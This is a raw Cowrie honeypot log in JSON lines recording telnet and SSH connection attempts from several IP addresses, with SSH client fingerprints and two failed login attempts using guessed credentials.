{"eventid":"cowrie.session.closed","duration":30.496124744415283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:52.074739Z","src_ip":"5.189.169.71","session":"f4d0d0809254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408587217330933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:52.084948Z","src_ip":"5.189.169.71","session":"0328df734f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41512,"dst_ip":"10.17.0.5","dst_port":23,"session":"57c0318bd23f","protocol":"telnet","message":"New connection: 5.189.169.71:41512 (10.17.0.5:23) [session: 57c0318bd23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:52.979440Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41528,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca574ec5de55","protocol":"telnet","message":"New connection: 5.189.169.71:41528 (10.17.0.5:23) [session: ca574ec5de55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:53.268328Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58924,"dst_ip":"10.17.0.5","dst_port":23,"session":"83ab8f3f7bdc","protocol":"telnet","message":"New connection: 94.23.163.94:58924 (10.17.0.5:23) [session: 83ab8f3f7bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:53.493702Z"}
{"eventid":"cowrie.session.closed","duration":30.800317525863647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:54.054329Z","src_ip":"94.23.163.94","session":"b58a1a74559a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48664426803589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:54.082315Z","src_ip":"94.23.163.94","session":"043128dd1e97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58934,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6712b4ec36","protocol":"telnet","message":"New connection: 94.23.163.94:58934 (10.17.0.5:23) [session: ec6712b4ec36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:54.223103Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58944,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b53ebb38d6e","protocol":"telnet","message":"New connection: 94.23.163.94:58944 (10.17.0.5:23) [session: 4b53ebb38d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:54.790607Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":51474,"dst_ip":"10.17.0.5","dst_port":22,"session":"928877fbdbfe","protocol":"ssh","message":"New connection: 52.231.220.210:51474 (10.17.0.5:22) [session: 928877fbdbfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:54.826012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:54.831058Z","src_ip":"52.231.220.210","session":"928877fbdbfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.014884Z","src_ip":"52.231.220.210","session":"928877fbdbfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41530,"dst_ip":"10.17.0.5","dst_port":23,"session":"795aca281bd5","protocol":"telnet","message":"New connection: 5.189.169.71:41530 (10.17.0.5:23) [session: 795aca281bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.045484Z"}
{"eventid":"cowrie.session.closed","duration":30.42547297477722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.049613Z","src_ip":"94.23.163.94","session":"3778c5e6363c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":45810,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff150a8d180b","protocol":"telnet","message":"New connection: 155.117.234.131:45810 (10.17.0.5:23) [session: ff150a8d180b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.394304Z"}
{"eventid":"cowrie.session.closed","duration":37.41918611526489,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.456692Z","src_ip":"23.254.167.244","session":"b2569b951335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58268,"dst_ip":"10.17.0.5","dst_port":23,"session":"db68cce62001","protocol":"telnet","message":"New connection: 213.136.75.179:58268 (10.17.0.5:23) [session: db68cce62001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.556674Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test.","message":"login attempt [test/test.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.771853Z","src_ip":"52.231.220.210","session":"928877fbdbfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97986912727356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.777559Z","src_ip":"5.189.169.71","session":"62f9871cc259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58956,"dst_ip":"10.17.0.5","dst_port":23,"session":"e78e05d41682","protocol":"telnet","message":"New connection: 94.23.163.94:58956 (10.17.0.5:23) [session: e78e05d41682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.800269Z"}
{"eventid":"cowrie.session.closed","duration":31.601531982421875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:55.979879Z","src_ip":"94.23.163.94","session":"bf7bd8d561a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59740,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b704198305","protocol":"ssh","message":"New connection: 176.65.139.103:59740 (10.17.0.5:22) [session: f6b704198305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.100284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.145705Z","src_ip":"176.65.139.103","session":"f6b704198305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.195463Z","src_ip":"176.65.139.103","session":"f6b704198305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.578996181488037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.379069Z","src_ip":"94.23.163.94","session":"d9f96b6d0d46","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.526090Z","src_ip":"176.65.139.103","session":"f6b704198305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58282,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b832fcf854","protocol":"telnet","message":"New connection: 213.136.75.179:58282 (10.17.0.5:23) [session: 23b832fcf854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.789921Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58962,"dst_ip":"10.17.0.5","dst_port":23,"session":"58eae092e15d","protocol":"telnet","message":"New connection: 94.23.163.94:58962 (10.17.0.5:23) [session: 58eae092e15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.797643Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58286,"dst_ip":"10.17.0.5","dst_port":23,"session":"b85196152c95","protocol":"telnet","message":"New connection: 213.136.75.179:58286 (10.17.0.5:23) [session: b85196152c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.836343Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:56.955592Z","src_ip":"52.231.220.210","session":"928877fbdbfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.476686716079712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:57.056498Z","src_ip":"5.189.169.71","session":"834a4ff7af56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842013835906982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:57.072686Z","src_ip":"5.189.169.71","session":"e1e3f4fc7ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58974,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c90fc76cdfe","protocol":"telnet","message":"New connection: 94.23.163.94:58974 (10.17.0.5:23) [session: 7c90fc76cdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:57.088127Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":58986,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c2172772025","protocol":"telnet","message":"New connection: 94.23.163.94:58986 (10.17.0.5:23) [session: 8c2172772025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:57.098434Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59000,"dst_ip":"10.17.0.5","dst_port":23,"session":"4072e22caae7","protocol":"telnet","message":"New connection: 94.23.163.94:59000 (10.17.0.5:23) [session: 4072e22caae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:57.185971Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41542,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc836c64b8c","protocol":"telnet","message":"New connection: 5.189.169.71:41542 (10.17.0.5:23) [session: fcc836c64b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:57.411109Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:57.677680Z","src_ip":"176.65.139.103","session":"f6b704198305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.305774450302124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:58.048827Z","src_ip":"94.23.163.94","session":"f70e9310e44b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.256523609161377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:58.054074Z","src_ip":"94.23.163.94","session":"085e3f47f8bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774261713027954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:58.064775Z","src_ip":"5.189.169.71","session":"f1b90e9342bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47054,"dst_ip":"10.17.0.5","dst_port":23,"session":"2429656a7393","protocol":"telnet","message":"New connection: 213.136.75.179:47054 (10.17.0.5:23) [session: 2429656a7393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:58.070127Z"}
{"eventid":"cowrie.session.closed","duration":30.252750158309937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:58.090224Z","src_ip":"5.189.169.71","session":"ac9202d78815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47060,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd67a7125791","protocol":"telnet","message":"New connection: 213.136.75.179:47060 (10.17.0.5:23) [session: cd67a7125791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:58.441726Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59014,"dst_ip":"10.17.0.5","dst_port":23,"session":"9175bcb89910","protocol":"telnet","message":"New connection: 94.23.163.94:59014 (10.17.0.5:23) [session: 9175bcb89910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:59.073143Z"}
{"eventid":"cowrie.session.closed","duration":30.306933164596558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:59.174732Z","src_ip":"94.23.163.94","session":"843cd8bdfdf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":40786,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dbefec924cd","protocol":"telnet","message":"New connection: 5.189.169.71:40786 (10.17.0.5:23) [session: 3dbefec924cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:59.250685Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47062,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db1c64b0522","protocol":"telnet","message":"New connection: 213.136.75.179:47062 (10.17.0.5:23) [session: 2db1c64b0522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:59.846128Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59026,"dst_ip":"10.17.0.5","dst_port":23,"session":"21f112a427d5","protocol":"telnet","message":"New connection: 94.23.163.94:59026 (10.17.0.5:23) [session: 21f112a427d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:59.938699Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47068,"dst_ip":"10.17.0.5","dst_port":23,"session":"862ebdf4c931","protocol":"telnet","message":"New connection: 213.136.75.179:47068 (10.17.0.5:23) [session: 862ebdf4c931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.041915Z"}
{"eventid":"cowrie.session.closed","duration":30.8184974193573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.160084Z","src_ip":"5.189.169.71","session":"da598fc031aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.303664207458496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.244938Z","src_ip":"5.189.169.71","session":"835d63609d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59042,"dst_ip":"10.17.0.5","dst_port":23,"session":"51849d657593","protocol":"telnet","message":"New connection: 94.23.163.94:59042 (10.17.0.5:23) [session: 51849d657593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.270106Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47072,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ed0ad231690","protocol":"telnet","message":"New connection: 213.136.75.179:47072 (10.17.0.5:23) [session: 9ed0ad231690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.278050Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47086,"dst_ip":"10.17.0.5","dst_port":23,"session":"73eb1888ceff","protocol":"telnet","message":"New connection: 213.136.75.179:47086 (10.17.0.5:23) [session: 73eb1888ceff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.292866Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e6e8cd41a3e","protocol":"telnet","message":"New connection: 5.189.169.71:40788 (10.17.0.5:23) [session: 8e6e8cd41a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.487191Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47098,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d3c6b2d8d65","protocol":"telnet","message":"New connection: 213.136.75.179:47098 (10.17.0.5:23) [session: 3d3c6b2d8d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.635324Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47114,"dst_ip":"10.17.0.5","dst_port":23,"session":"861daab2fc2d","protocol":"telnet","message":"New connection: 213.136.75.179:47114 (10.17.0.5:23) [session: 861daab2fc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:00.732521Z"}
{"eventid":"cowrie.session.closed","duration":31.10317087173462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:01.162275Z","src_ip":"5.189.169.71","session":"4bc19ae0fb17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47122,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33c80e209d9","protocol":"telnet","message":"New connection: 213.136.75.179:47122 (10.17.0.5:23) [session: a33c80e209d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:01.167707Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47132,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c7823ee1eb","protocol":"telnet","message":"New connection: 213.136.75.179:47132 (10.17.0.5:23) [session: 45c7823ee1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:01.191165Z"}
{"eventid":"cowrie.session.closed","duration":30.384047508239746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:01.311628Z","src_ip":"5.189.169.71","session":"031d785d436c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":40790,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e5225c228e6","protocol":"telnet","message":"New connection: 5.189.169.71:40790 (10.17.0.5:23) [session: 0e5225c228e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:01.718837Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":59054,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d04072aae90","protocol":"telnet","message":"New connection: 94.23.163.94:59054 (10.17.0.5:23) [session: 5d04072aae90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:01.820417Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47134,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f203084a9a","protocol":"telnet","message":"New connection: 213.136.75.179:47134 (10.17.0.5:23) [session: 68f203084a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:01.880009Z"}
{"eventid":"cowrie.session.closed","duration":30.30939269065857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:02.057863Z","src_ip":"5.189.169.71","session":"024b5e392d80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43162202835083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:02.063544Z","src_ip":"5.189.169.71","session":"9b6174ce718d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829246997833252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:02.069627Z","src_ip":"5.189.169.71","session":"d6232009dd64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901313543319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:02.163898Z","src_ip":"5.189.169.71","session":"0de725f8a8a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47144,"dst_ip":"10.17.0.5","dst_port":23,"session":"18216bfc83a1","protocol":"telnet","message":"New connection: 213.136.75.179:47144 (10.17.0.5:23) [session: 18216bfc83a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:02.253398Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":40800,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaa155788ea0","protocol":"telnet","message":"New connection: 5.189.169.71:40800 (10.17.0.5:23) [session: eaa155788ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:02.341998Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":40812,"dst_ip":"10.17.0.5","dst_port":23,"session":"30cbe52fced1","protocol":"telnet","message":"New connection: 5.189.169.71:40812 (10.17.0.5:23) [session: 30cbe52fced1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:02.522902Z"}
